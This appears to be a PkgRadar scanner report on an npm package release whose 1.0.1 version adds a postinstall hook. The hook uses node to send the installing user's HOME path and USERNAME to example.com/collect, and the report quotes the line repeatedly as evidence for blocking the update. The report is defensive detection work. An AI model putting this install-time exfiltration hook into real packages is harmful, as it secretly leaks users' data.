Package evidence

[email protected]

Install Lifecycle Remote Or Exec: postinstall="node -e \"require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)\""

Trust signals

Why this verdict

PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.

Versions published: 2
First published: Jun 2026
Publisher: akshajrawat

Recommended action

Block this update

Static evidence trips multiple high-signal indicators. Quarantine the release until the publisher validates the change or you can rule out the indicators below.

Inspect tarball Add to CI gate

Block this release in CIcurl · GitHub Actions

Fail the build when this package version is added or upgraded. Replace $PKGRADAR_TOKEN with a Pro / Team API key from your dashboard.

curl -fsS https://pkgradar.com/gate/npm \
  -H "Authorization: Bearer $PKGRADAR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"specs":["[email protected]"],"fail_on":"high"}'

GitHub Actions step:

- name: PkgRadar gate
  run: |
    curl -fsS https://pkgradar.com/gate/npm \
      -H "Authorization: Bearer ${{ secrets.PKGRADAR_TOKEN }}" \
      -H "Content-Type: application/json" \
      -d '{"specs":["[email protected]"],"fail_on":"high"}'

Publisherakshajrawat

Artifact bytes309

Previous version1.0.0

Published2026-06-05T12:50:27.200Z

SHA-256bf72862305128ef76c9d2aedf784f4bba818daef1f4d0a609d6bc8eaac240a2d

Why flagged

What the scanner saw

New Lifecycle Script Vs Previous: postinstall added in 1.0.1 vs 1.0.0: "node -e \"require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)\""

Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.

Availability ledger

available

high

8h agoLast checked

highRisk

75Score

1.0.1Version

Status history (1 event)

new → available8h ago · risk high · score 75 · status changed

Evidence

Static findings

2 static · 1 from release diff · showing high-signal first.

Severity	Kind	Path	Detail	Points
high	New Lifecycle Script Vs Previous	package.json	postinstall added in 1.0.1 vs 1.0.0: "node -e \"require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)\""	40
high	Install Lifecycle Remote Or Exec	package.json	postinstall="node -e \"require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)\""	30

Show all 3 findings (low-signal and informational)

Severity	Kind	Path	Detail	Points
high	New Lifecycle Script Vs Previous	package.json	postinstall added in 1.0.1 vs 1.0.0: "node -e \"require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)\""	40
high	Install Lifecycle Remote Or Exec	package.json	postinstall="node -e \"require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)\""	30
low	Install-time lifecycle script	package.json	postinstall="node -e \"require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)\""	5

Manifest

Package metadata

Scripts1

postinstallnode -e "require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)"